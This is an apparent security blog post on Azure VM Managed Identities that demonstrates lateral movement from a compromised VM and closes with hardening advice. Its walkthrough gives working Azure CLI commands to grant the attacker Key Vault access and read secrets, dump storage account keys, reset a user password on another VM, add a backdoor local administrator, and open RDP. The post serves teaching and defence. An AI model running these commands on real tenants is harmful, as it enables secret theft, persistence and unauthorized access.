Lateral Movement with Managed Identities of Azure Virtual Machines

This blog post will cover details around Managed Identities in Azure VMs. During this blog post, we are trying to get a few questions answered, which goes from what Managed Identities are, why people are using them, and if we could abuse them to move laterally, etc. This blog post will be focusing on Managed Identities of Azure Virtual Machines, but more related blog posts will come soon.

What are Managed Identities?

Managed Identity is a Service Principal of a special type that may only be used with Azure resources. It provides an identity to an application to use when connecting to a resource that supports Azure AD authentication. Managed Identities can help developers to eliminate credentials, because they don’t have to manage it anymore. We’ll go more into the details later in this blog post.

Microsoft provides a great use-case in this documentation. Where they are explaining that applications may be using Managed Identities to access Azure Key Vaults, which developers can use to store credentials. An other example that was mentioned, was accessing storage accounts.

Let’s say that we want our Managed Identity of our Azure VM to access an Azure Key Vault. The only thing we have to do is assign it the correct RBAC role, so if we are accessing an Azure Key Vault with a Managed Identity. It will receive a token from the Instance Metadata Service, to access it. We do not have to specify any credentials, because the Instance Metadata Services will notice the Managed Identity, that is attached with our Azure VM. This is a central backend service that is running on Azure VMs.

Here we have a high-level architecture of how the Instance Metadata Services work.

See the source image

Types of Managed Identities

There are two types of Managed Identities, which are System-Assigned and User-Assigned. There is not much of a big difference, except for one thing. Once you enable a System-Assigned Managed Identity to an Azure resource. The Managed Identity will automatically be assigned, and will also get deleted. If the Azure resource has been deleted. In other words, the lifecycle of a System-Assigned Managed Identity is tied to the lifecycle of an Azure resource.

User-Assigned Managed Identity is created manually and is also manually assigned to an Azure resource. The lifecycle is not tied to an Azure resource, so once a resource has been deleted. The User-Assigned Managed Identity won’t be deleted. User-Assigned managed identities can be used on multiple resources.

System-Assigned Managed Identity

The first example will be using a System-Assigned Managed Identity of an Azure Virtual Machine.

We will be creating an Ubuntu VM in the ‘Demo’ resource group, which includes a Managed Identity. We can recognize that a Managed Identity is being enabled, since we’re specifying the –assign-identity parameter in the CLI.

An other thing, we can see as well is, that we have specified the –generate-ssh-keys parameter. This will generate public and private SSH keys.

Last, but not least. We have specified a scope and the role that the Managed Identity will get. During this example, we have assigned the System-Assigned Managed Identity, the Contributor role.

az vm create --resource-group Demo --size Standard_B2s --name LinuxVM --image UbuntuLTS --admin-username azureuser --generate-ssh-keys --assign-identity --location westeurope --scope "subscriptions/1ae3c5a8-9a9b-40bc-8d90-31710985b9ef/resourceGroups/Demo" --role Contributor

At the result, we can see that we have successfully created a new Azure VM with a Managed Identity.

The second thing, we are going to do is configure an extension on this VM. This will allow us to do software installation, etc. The reason that we are doing this is, because we want to install the Azure CLI on the VM.

az vm extension set --resource-group Demo --vm-name LinuxVM --name customscript --publisher Microsoft.Azure.Extensions

Now we can use SSH to connect to our Azure VM.

ssh azureuser@

We have now logged in to our Azure VM, and we also have installed the extension. This allows us now to download the Azure CLI.

curl -sL | sudo bash

The final step is to login as the Managed Identity with the Azure CLI. As you can see, we didn’t need to specify any credential.

az login --identity

User-Assigned Managed Identity

As discussed before, User-Assigned managed identities can be used on multiple resources, since the lifecycle is not tied to one. In order to use User-Assigned Managed Identity, we have to create one first.

az identity create -g Demo -n myUserAssignedIdentity --location westEurope

Now we are going to create a new Azure VM, but during this time. We will be assigning a User-Assigned managed identity. This will be a Windows VM this case. At the CLI, we have specified at the –assigned-identity parameter to assign an User-Assigned Managed Identity.

az vm create --name WindowsVM --resource-group Demo --image Win2019Datacenter --location westeurope --admin-username Testing --admin-password DontHackMeBro123! --size Standard_B2s --storage-account sturageacc0unt07 --use-unmanaged-disk --assign-identity /subscriptions/1ae3c5a8-9a9b-40bc-8d90-31710985b9ef/resourceGroups/Demo/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myUserAssignedIdentity

The Virtual Machine has been created, so we can now RDP into this machine and install the Azure CLI.

Invoke-WebRequest -Uri -OutFile .\AzureCLI.msi; Start-Process msiexec.exe -Wait -ArgumentList '/I AzureCLI.msi /quiet'

We might encounter the following problem, which can be easily resolved. This error might occur if we did not assign the correct RBAC role.

Now we have to assign an RBAC role to our User-Assigned Managed Identity. In this example, we will be assigning the Contributor role.

az role assignment create --assignee 7055e551-2f6e-45a3-a64f-30941957fd88 --role Contributor --scope /subscriptions/1ae3c5a8-9a9b-40bc-8d90-31710985b9ef/resourceGroups/Demo/providers/Microsoft.Compute/virtualMachines/WindowsVM

We have now assigned this Managed Identity to the Contributor role.

Once we now login to the Azure VM, we can login as the User-Assigned Managed Identity.

az login --identity -u 7055e551-2f6e-45a3-a64f-30941957fd88

Lateral Movement with Managed Identities

Managed Identities can be used to access Azure Key Vaults and storage accounts, which we discussed at the beginning of this blog post. This is an example of a configuration that I have seen in a real environment. Keep in mind that accessing these resources can only be achieved, once the correct RBAC or directory role has been assigned.

NOTE: Yes, in the previous sections, I’ve used the Contributor role as an example. Now I will use the Owner role as an example.

We have a Managed Identity (LinuxVM) with Owner rights. This RBAC role has been assigned on the resource group itself, which will inherit down to all the other resources within the same group.

Let’s assume that we have compromised this Linux VM, and decided to SSH to this machine.

ssh azureuser@

The second thing we have to do is login as the Managed Identity. Once we have logged in, we can start moving laterally across different resources in the Cloud environment.

az login --identity
  • Azure Key Vault

This section will cover how we can move laterally from our compromised Linux host to an Azure Key Vault and list the secrets.

Once we have logged in, we can start enumerating Azure Key Vaults. This can be done with the following command:

az keyvault list

We have discovered an Azure Key Vault and we want to list the secrets. In order to do so, we can run the following command:

az keyvault secret list --vault-name mysecretkeyvault01

Despite that we have Owner rights, we got an error that we do not have the permission to list the secrets.

Since we have Owners right on the Resource group, which will inherit down on all the resources within the same group. We can modify an access policy of an Azure Key Vault and grant ourselves the permission.

az keyvault set-policy -n mysecretkeyvault01 --secret-permissions get list --object-id ae46b8fd-6070-49c1-be69-300c771a97f0

If we are now trying to list all the secrets of an Azure Key Vault. It will now work.

az keyvault secret list --vault-name mysecretkeyvault01

The last step is to obtain a secret from the Key Vault.

az keyvault secret show --id
  • Azure Storage Account

This section will cover how we can access a storage account from our compromised Linux host.

An Azure storage account contains all of your Azure Storage data objects: blobs, file shares, queues, tables, and disks. Organizations are often using storage accounts to store tons of data, which makes it just like Key Vaults. An interesting target to poke around with.

The first thing, we are going to do is listening all the storage accounts.

az storage account list

At the result, we can see an storage account that we are primary interested in.

The second thing we are going to do is to reviewing all the access keys. Obtaining an access key in a storage account allows you to have full access to everything.

az storage account keys list -g Demo -n newstorageaccount003

This allows us to connect to the storage account and can be done with Azure Storage Explorer.

  • Moving laterally to Linux machine

This is now the most relevant part of this blog post, because we are going to explain how to move laterally from machine to machine within the same resource group.

First, we need to enumerate all the VMs in our resource group.

az vm list -g Demo --output table

At the result, we can see that we are currently logged in on the LinuxVM machine.

The second thing, we can do is install an VM extension that allows us to do software installation on the target machine. This is not necessary required, but in our example we will do it anyways.

az vm extension set --resource-group Demo --vm-name LinuxVM02 --name customscript --publisher Microsoft.Azure.Extensions

Azure Virtual Machines have a feature that is known as the ‘Run’ Command, which allows you to run commands as SYSTEM or root. We are now going to attempt to move laterally against the LinuxVM02 machine.

Before, we are going to do that. We are first enumerating all the users on the target machine.

az vm run-command invoke -g Demo -n LinuxVM02 --command-id RunShellScript --scripts "getent passwd | awk -F: '{ print $1}'"

At the result, it will return all the users. This will include both the normal and system users. Generally, a normal user has UID greater or equal to 1000. If we look closely, there is an account called ‘testaccount’ that has 1000:1000.

The next command will enumerate the group membership of the testaccount.

az vm run-command invoke -g Demo -n LinuxVM02 --command-id RunShellScript --scripts "groups testaccount"

Now we are going to reset the password of the testaccount, which we will be using to connect against the remote machine.

az vm user update -u testaccount -p WeakPassw0rd! -n LinuxVM02 -g Demo

The final part is to login with the account to the remote host via SSH.

ssh testaccount@

The final step is to verify that we have access to the targeted machine.

  • Moving laterally to Windows machine

We are now moving laterally from the compromised Linux machine to a Windows machine within the same resource group. In this example, the first thing we are going to do is enumerate the Network Security Groups that are applied on that machine.

az network nsg list --output table

At the result, we can see the NSG rules are applied on the specific Azure Virtual Machines.

We can see that RDP is open in this example. However, in most cases. Management ports are often closed from accessing it via the internet, but it is good to verify this by enumerating the NSG rules.

We are now going to leverage the ‘Run’ Command feature just like we did before. This command will enumerate all the local users on a machine.

az vm run-command invoke --command-id RunPowerShellScript --name WindowsVM -g Demo --script "net user"

At the result, it will return all the local users on the machine.

At this part, we are going to create a new local user to remain persistent on the machine.

az vm run-command invoke --command-id RunPowerShellScript --name WindowsVM -g Demo --script "net user evilbackdoor Passw0rd! /add"

Now we are going to add this user to the local Administrators group.

az vm run-command invoke --command-id RunPowerShellScript --name WindowsVM -g Demo --script "net localgroup Administrators evilbackdoor /add"

If RDP has been closed from being exposed on the internet, we can still create an RDP rule to allow incoming connections to the targeted machine.

az network nsg rule create -g Demo --nsg-name WindowsVMNSG -n OpenRDPForMePlease --source-address-prefixes --access Allow --priority 1001 --destination-port-ranges 3389

What is the problem?

The root cause of this problem is due to poor delegation. Delegating permissions on the Subscription or Resource group level is not recommended, because the permissions will inherit down to all the resources within the same group or subscription. Especially when sensitive RBAC roles are assigned with the likes of Owners, Contributor, User Access Administrator, and so on.

This is an example of a poor practice. We have a Managed Identity, which is basically just another Service Principal. It has Owner permission on the Resource Group. This will allow this Managed Identity to be able to have full control over all the resources that is in the group.

Exporting RBAC Roles

RBAC roles controls who has what kind of access and rights to an Azure resource. We are going to use the PowerShell script of Microsoft’s MVP (Morten Pedholt) and export all the RBAC roles on every subscription. Wrong delegated permissions on the subscription level or resource group will inherit down on resources, such as VMs. Reviewing such kind of permissions can be helpful to identify wrong delegated permissions.

.\Export-RoleAssignments.ps1 -OutputPath C:\temp
Param (
    [string]$OutputPath = '',
#Get Current Context
$CurrentContext = Get-AzContext
#Get Azure Subscriptions
if ($SelectCurrentSubscription) {
  #Only selection current subscription
  Write-Verbose "Only running for selected subscription $($CurrentContext.Subscription.Name)" -Verbose
  $Subscriptions = Get-AzSubscription -SubscriptionId $CurrentContext.Subscription.Id -TenantId $CurrentContext.Tenant.Id
}else {
  Write-Verbose "Running for all subscriptions in tenant" -Verbose
  $Subscriptions = Get-AzSubscription -TenantId $CurrentContext.Tenant.Id
#Get Role roles in foreach loop
$report = @()
foreach ($Subscription in $Subscriptions) {
    #Choose subscription
    Write-Verbose "Changing to Subscription $($Subscription.Name)" -Verbose
    $Context = Set-AzContext -TenantId $Subscription.TenantId -SubscriptionId $Subscription.Id -Force
    $Name     = $Subscription.Name
    $TenantId = $Subscription.TenantId
    $SubId    = $Subscription.SubscriptionId  
    #Getting information about Role Assignments for choosen subscription
    Write-Verbose "Getting information about Role Assignments..." -Verbose
    $roles = Get-AzRoleAssignment | Select-Object RoleDefinitionName,DisplayName,SignInName,ObjectId,ObjectType,Scope,
    @{name="TenantId";expression = {$TenantId}},@{name="SubscriptionName";expression = {$Name}},@{name="SubscriptionId";expression = {$SubId}}
         foreach ($role in $roles){
            $DisplayName = $role.DisplayName
            $SignInName = $role.SignInName
            $ObjectType = $role.ObjectType
            $RoleDefinitionName = $role.RoleDefinitionName
            $AssignmentScope = $role.Scope
            $SubscriptionName = $Context.Subscription.Name
            $SubscriptionID = $Context.Subscription.SubscriptionId
            #Check for Custom Role
            $CheckForCustomRole = Get-AzRoleDefinition -Name $RoleDefinitionName
            $CustomRole = $CheckForCustomRole.IsCustom
            #New PSObject
            $obj = New-Object -TypeName PSObject
            $obj | Add-Member -MemberType NoteProperty -Name SubscriptionName -value $SubscriptionName
                $obj | Add-Member -MemberType NoteProperty -Name SubscriptionID -value $SubscriptionID         
                  $obj | Add-Member -MemberType NoteProperty -Name DisplayName -Value $DisplayName
                  $obj | Add-Member -MemberType NoteProperty -Name SignInName -Value $SignInName
                  $obj | Add-Member -MemberType NoteProperty -Name ObjectType -value $ObjectType
            $obj | Add-Member -MemberType NoteProperty -Name RoleDefinitionName -value $RoleDefinitionName
            $obj | Add-Member -MemberType NoteProperty -Name CustomRole -value $CustomRole
                $obj | Add-Member -MemberType NoteProperty -Name AssignmentScope -value $AssignmentScope
            $Report += $obj
if ($OutputPath) {
  #Export to CSV file
  Write-Verbose "Exporting CSV file to $OutputPath" -Verbose
  $Report | Export-Csv $OutputPath\RoleExport-$(Get-Date -Format "yyyy-MM-dd").csv
}else {

At the sample result, we can see all the different users with the assigned RBAC role on a certain resource. It is a best practice to review these permissions.

The following roles should be closely reviewed:

  • Owner
  • Contributor
  • User Access Administrator
  • Virtual Machine Contributor
  • Virtual Machine Administrator
  • Avere Contributor

Do NOT expose SSH Private Keys

If you use the Azure CLI to create a VM with the az vm create command, you can optionally generate SSH public and private key files using the –generate-ssh-keys option. The key files are by default, stored in the ~/.ssh directory, and allows you to login without entering a password, but by using the SSH private key.

However, the problem is. Once you are doing this, it will store those Key files in the .ssh directory. This means that everyone who can access it, could use that SSH private key to connect to an Azure VM.

As you can see here, we don’t have to specify any password. Since we already have the SSH Private Key.

Final Recommendations

  • Do not expose management ports to the internet
  • Try to limit assigning permissions on the Azure Subscription or Resource Group level
  • Review RBAC roles that have been delegated with the Export-Assignments.ps1 script
  • Be careful with generating optional SSH private keys when creating an Azure Virtual Machine with the CLI



Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s